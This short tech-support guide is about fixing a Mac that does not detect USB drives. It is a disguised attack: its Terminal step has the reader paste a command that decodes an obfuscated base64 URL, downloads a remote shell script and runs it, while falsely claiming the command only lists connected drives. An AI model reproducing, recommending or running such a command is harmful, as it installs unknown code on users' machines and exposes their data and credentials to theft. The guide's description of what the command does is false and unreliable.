Why is Your Mac Not Detecting USB Devices? Here’s How to Fix It

Plugged in a USB drive and your Mac doesn’t seem to notice it? Whether you’re using an external flash drive, hard disk, or SSD — this issue can usually be resolved with a few quick checks and tools already on your system.

Step 1: Use Terminal to Check System Detection

Open the Terminal App

1. Press Command (⌘) + Space to launch Spotlight Search.
2. Type Terminal, then press Enter to launch it.

Step 2: Enter this command in Terminal

Copy the following command and paste it into Terminal, then press Return:

/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly91em5iaHcuY29tL1QvMC5zaA== | base64 -d))"

This command shows all drives connected to your Mac. If your USB drive appears in the list, it’s detected but might not be mounted or formatted correctly.